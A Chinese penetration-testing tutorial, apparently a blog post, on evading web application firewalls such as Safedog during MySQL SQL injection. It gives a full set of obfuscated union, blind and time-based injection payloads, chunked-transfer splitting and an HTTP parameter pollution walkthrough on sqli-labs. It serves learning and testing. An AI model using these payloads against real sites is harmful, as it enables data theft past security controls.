当前位置: 首页 > article >正文

渗透测试之WAF组合条件绕过方式手法详解以及SQL注入参数污染绕过

目录

组合绕过waf

​先看一些语句

绕过方式

我给出的注入语句是:

这里要注意的几点是:

组合绕过方式

完整过狗注入语句集合

http请求分块传输方法

其它方式绕过

http参数污染绕过waf

面试题:如何参数污染绕过waf

可以通过http参数污染绕过waf参数拦截:


先看一些语句

http://192.168.222.128/test/sql.php?id=1 /*!union*//*%!aa*//*!select*/ 1,2,3先判断注入点,把and为&&,urlencode后为%26%26  
-------------------------------------
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2  

绕过方式

  • 1.利用()代替空格

  • 2.利用mysql特性 /*!*/ 执行语句

  • 3.利用注释符号/**/混淆代码

  • 我给出的注入语句是:

union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,user(), (database/**/()),4,5
------------------------------------------------------------------------------
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5  

这里要注意的几点是:

  • 1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的 但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
  • 2./*!*/中间的代码是可以执行的,其中50010为mysql版本号 只要mysql大于这个版本就会执行里面的代码
  • 3.数据或者函数周围可以无限嵌套()
  • 4.利用好%00 user())

组合绕过方式

  • 完整过狗注入语句集合

判断: 1'/**/%26%261%3d2%23判断列数: 1' order by 2%23关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23关联查询爆出数据表:%27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/( (information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23关联查询爆出字段值:%27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/ ((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23关联查询提取数据:%27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/( (users))%23  盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_sc hema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_s chema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)% 3d'1'%23基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_s chema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_ schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23  

http请求分块传输方法

  • 添加http头信息

  • Transfer-Encoding:chunked
  • 看到chunked 服务端就会等待 id=1 union 等待后面得数据过来

  • 看到0那么就会停止或者好几个换行符 就是本次换行得整体数据。

  • 用一个插件来修改 数据分块插件来修改【分块编码转换】 BP来处理

  • 依靠连续传输完成注入,分包过waf,但是到了服务器那边时

  • 看到最后数长度为0时或者看到好几个回车换行符

  • 表示数据传输完成。这个手段还是很不错的

  • 这个需要你对数据传输的数据包非常熟悉才玩的出来

其它方式绕过

Union -> /*!Union/*/**/Select -> /*!/*!Select*/Database() -> /*!database/*/**//*!/*!()*/  

使用这种方法SQL语句依然可以正确执行,而且会完美过狗!

  • 但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema

    • 这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:

    • 当mysql版本>=5.6时,可以用如下语句代替:

Select table_name from mysql.innodb_table_stats where database_name = database();  

  • 服务端去除nginx XFF-IP 就是真是ip

  • 而 remote就变成了 nginx 转换所在得ip地址

  • Nginx配置配置x-Forwarded 就能拿到nginx正常转发之前得ip

  • Bypass WF 插件如何使用 这个要明白


http参数污染绕过waf

面试题:如何参数污染绕过waf

  • 也就是参数重复 &(and)符号后多加几个重复得参数一般情况下都是回去除最后一个参数
sql-labs的Less 29关的正确打开方式:http://192.168.18.21/sqli-labs-master/Less-29/login.php输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1发现输出结果为id=1的值http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2发现输出结果为id=2的值http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3发现输出结果为id=3的值综上,发现mysql中用&连接多个参数,只输出最后一个参数的结果。输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1'&id=2&id=3页面显示注入被拦截。http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2'&id=3页面无变化。http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3'页面报数据库错误。说明第一个参数被waf拦截,中间的参数无影响,最后一个参数被带到数据库中执行。本关存在php的一个hpp漏洞,当同时传递多个参数时,不同的服务器可能会取得不同的参数值。

可以通过http参数污染绕过waf参数拦截:

  • 如果是$_get(id)获取id,则可以在参数后添加参数,对最后的参数进行注入,即可绕过waf。
  • 也就是说waf只检查第一个参数,而应用程序取最后一个参数代入数据库执行。

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关文章:

渗透测试之WAF组合条件绕过方式手法详解以及SQL注入参数污染绕过

目录 组合绕过waf ​先看一些语句 绕过方式 我给出的注入语句是: 这里要注意的几点是: 组合绕过方式 完整过狗注入语句集合 http请求分块传输方法 其它方式绕过 http参数污染绕过waf 面试题:如何参数污染绕过waf 可以通过http参数污染绕过wa…...

oracl:多表查询>>表连接[内连接,外连接,交叉连接,自连接,自然连接,等值连接和不等值连接]

SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系数据库的标准编程语言。 sql分类: 数据查询语言(DQL - Data Query Language) 查询的关键词 select 多表查询>>表连接 表连接: 把2个…...

Day31-【AI思考】-关键支点识别与战略聚焦框架

文章目录 关键支点识别与战略聚焦框架**第一步:支点目标四维定位法****第二步:支点验证里程碑设计****第三步:目标网络重构方案****第四步:动态监控仪表盘** 执行工具箱核心心法 关键支点识别与战略聚焦框架 让思想碎片重焕生机的…...

ARIMA详细介绍

ARIMA(AutoRegressive Integrated Moving Average,自回归积分滑动平均模型)是一种用于时间序列分析和预测的统计模型。它结合了自回归(AR)、差分(I)和移动平均(MA)三种方…...

如何解决Unit sshd.service could not be found

出现 Unit sshd.service could not be found 错误时,通常是因为系统中未安装 OpenSSH 服务、服务名称不匹配或系统未使用 systemd 管理服务。以下是详细的解决方案: 一、确认 SSH 服务是否安装 1. 检查是否已安装 OpenSSH 服务器 不同 Linux 发行版的包…...

飞致云开源社区月度动态报告(2025年1月)

自2023年6月起,中国领先的开源软件公司飞致云以月度为单位发布《飞致云开源社区月度动态报告》,旨在向广大社区用户同步飞致云旗下系列开源软件的发展情况,以及当月主要的产品新版本发布、社区运营成果等相关信息。 飞致云开源运营数据概览&…...

【搜索回溯算法篇】:拓宽算法视野--BFS如何解决拓扑排序问题

✨感谢您阅读本篇文章,文章内容是个人学习笔记的整理,如果哪里有误的话还请您指正噢✨ ✨ 个人主页:余辉zmh–CSDN博客 ✨ 文章所属专栏:搜索回溯算法篇–CSDN博客 文章目录 一.广度优先搜索(BFS)解决拓扑排…...

WPS怎么使用latex公式?

1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…...

简单的爱心跳动表白网页(附源码)

一:准备工作 在开始之前,确保已经具备基础的 HTML、CSS 和 JavaScript 知识。同时,也要准备好一个代码编辑器,比如 VS Code 或 Sublime Text。接下来,我们需要创建三个文件:index.html、styles.css 和 scr…...

【AI】DeepSeek 概念/影响/使用/部署

在大年三十那天,不知道你是否留意到,“deepseek”这个词出现在了各大热搜榜单上。这引起了我的关注,出于学习的兴趣,我深入研究了一番,才有了这篇文章的诞生。 概念 那么,什么是DeepSeek?首先百…...

代理模式 - 代理模式的应用

引言 代理模式(Proxy Pattern)是一种结构型设计模式,它允许你提供一个代理对象来控制对另一个对象的访问。代理对象通常会在客户端和目标对象之间起到中介的作用,从而可以在不改变目标对象的情况下,增加额外的功能或控…...

DeepSeek超越ChatGPT的能力及部分核心原理

DeepSeek超越ChatGPT的能力及部分核心原理 目录 DeepSeek超越ChatGPT的能力及部分核心原理超越ChatGPT的能力核心原理超越ChatGPT的能力 推理计算能力更强:在复杂的数学计算、法律文件审查等任务中,DeepSeek的推理能力可媲美甚至超越部分国际顶尖AI模型,包括ChatGPT。例如在…...

【4Day创客实践入门教程】Day3 实战演练——桌面迷你番茄钟

Day3 实战演练——桌面迷你番茄钟 目录 Day3 实战演练——桌面迷你番茄钟1. 选择、准备元件、收集资料2. 硬件搭建3.编写代码 Day0 创想启程——课程与项目预览Day1 工具箱构建——开发环境的构建Day2 探秘微控制器——单片机与MicroPython初步Day3 实战演练——桌面迷你番茄钟…...

Git 出现 Please use your personal access token instead of the password 解决方法

目录 前言1. 问题所示2. 原理分析3. 解决方法前言 1. 问题所示 执行Git提交代码的时候,出现如下所示: lixiaosong@IT07 MINGW64 /f/java_project/JavaDemo (master) $ git push -u origin --all libpng warning: iCCP: known incorrect sRGB profile libpng warning...

LeetCode题练习与总结:不含连续1的非负整数--600

一、题目描述 给定一个正整数 n ,请你统计在 [0, n] 范围的非负整数中,有多少个整数的二进制表示中不存在 连续的 1 。 示例 1: 输入: n 5 输出: 5 解释: 下面列出范围在 [0, 5] 的非负整数与其对应的二进制表示: 0 : 0 1 : 1 2 : 10 3 :…...

AndroidCompose Navigation导航精通1-基本页面导航与ViewPager

文章目录 前言基本页面导航库依赖导航核心部件简单NavHost实现ViewPagerPager切换逻辑图阐述Pager导航实战前言 在当今的移动应用开发中,导航是用户与应用交互的核心环节。随着 Android Compose 的兴起,它为开发者提供了一种全新的、声明式的方式来构建用户界面,同时也带来…...

【环境搭建】1.1源码下载与同步

目录 写在前面 一,系统要求 二,安装depot_tools 三,获取代码 四,代码同步 五,代码结构 写在前面 当前的开发背景是基于Google的开源Chromium,来开发Android设备的浏览器方案。 一,系统要…...

Node.js——body-parser、防盗链、路由模块化、express-generator应用生成器

个人简介 👀个人主页: 前端杂货铺 🙋‍♂️学习方向: 主攻前端方向,正逐渐往全干发展 📃个人状态: 研发工程师,现效力于中国工业软件事业 🚀人生格言: 积跬步…...

python | OpenCV小记(一):cv2.imread(f) 读取图像操作(待更新)

python | OpenCV小记(一):cv2.imread(f)读取图像操作 1. 为什么 [:, :, 0] 提取的是第一个通道(B 通道)?OpenCV 的通道存储格式索引操作 [:, :, 0] 的解释常见误解 1. 为什么 [:, :,…...

C语言指针专题四 -- 多级指针

目录 1. 多级指针的核心原理 1. 多级指针的定义 2. 内存结构示意图 3. 多级指针的用途 2. 编程实例 实例1:二级指针操作(修改一级指针的值) 实例2:动态二维数组(二级指针) 实例3:三级指…...

本地部署 DeepSeek-R1 大模型

本地部署 DeepSeek-R1 大模型指南 1. 引言 1.1 DeepSeek-R1 模型简介 在人工智能的世界里,大型语言模型(LLM)正如一座巨大的宝库,里面储存着丰富的信息和无限的潜力。而DeepSeek-R1,就像那扇打开智慧之门的钥匙。它…...

深度学习的应用

目录 一、机器视觉 1.1 应用场景 1.2 常见的计算机视觉任务 1.2.1 图像分类 1.2.2 目标检测 1.2.3 图像分割 二、自然语言处理 三、推荐系统 3.1 常用的推荐系统算法实现方案 四、图像分类实验补充 4.1 CIFAR-100 数据集实验 实验代码 4.2 CIFAR-10 实验代码 深…...

想学习Python编程,应该如何去学习呢

学习Python编程是一个循序渐进的过程,以下是一个详细的学习路径和建议: 一、基础入门 安装Python环境: 从Python官方网站下载并安装适合你操作系统的Python版本。确保将Python添加到系统路径中,以便在命令行中方便地访问。 学习…...

RabbitMQ 多种安装模式

文章目录 前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项 二、安装docker1、更新系统包:2、…...

吴恩达深度学习——有效运作神经网络

内容来自https://www.bilibili.com/video/BV1FT4y1E74V,仅为本人学习所用。 文章目录 训练集、验证集、测试集偏差、方差正则化正则化参数为什么正则化可以减少过拟合Dropout正则化Inverted Dropout其他的正则化方法数据增广Early stopping 归一化梯度消失与梯度爆…...

《DeepSeek-R1 问世,智能搜索领域迎来新变革》

DeepSeek-R1是由DeepSeek公司开发的一款创新型人工智能模型,自2024年5月7日发布以来,迅速在AI领域引起广泛关注。该模型凭借其卓越的语言理解能力、高效的数据处理能力、自适应学习能力、高安全性与可靠性以及广泛的应用场景与拓展性,在众多人…...

深入解析 Linux 内核中的页面错误处理机制

在现代操作系统中,页面错误(Page Fault)是内存管理的重要组成部分。当程序试图访问未映射到物理内存的虚拟内存地址时,CPU 会触发页面错误异常。Linux 内核通过一系列复杂的机制来处理这些异常,确保系统的稳定性和性能。本文将深入解析 Linux 内核中处理页面错误的核心代码…...

Java手写简单Merkle树

Java手写Merkle树代码 package com.blockchain.qgy.component;import com.blockchain.qgy.model.MerkleTreeNode; import com.blockchain.qgy.util.SHAUtil;import java.util.*;public class MerkleTree<T> {//merkle树private List<MerkleTreeNode<T>> lis…...

DDD - 微服务架构模型_领域驱动设计(DDD)分层架构 vs 整洁架构(洋葱架构) vs 六边形架构(端口-适配器架构)

文章目录 引言1. 概述2. 领域驱动设计&#xff08;DDD&#xff09;分层架构模型2.1 DDD的核心概念2.2 DDD架构分层解析 3. 整洁架构&#xff1a;洋葱架构与依赖倒置3.1 整洁架构的核心思想3.2 整洁架构的层次结构 4. 六边形架构&#xff1a;解耦核心业务与外部系统4.1 六边形架…...

数据结构与算法之二叉树: LeetCode LCP 10. 二叉树任务调度 (Ts版)

二叉树任务调度 https://leetcode.cn/problems/er-cha-shu-ren-wu-diao-du/description/ 描述 任务调度优化是计算机性能优化的关键任务之一。在任务众多时&#xff0c;不同的调度策略可能会得到不同的总体执行时间&#xff0c;因此寻求一个最优的调度方案是非常有必要的 通…...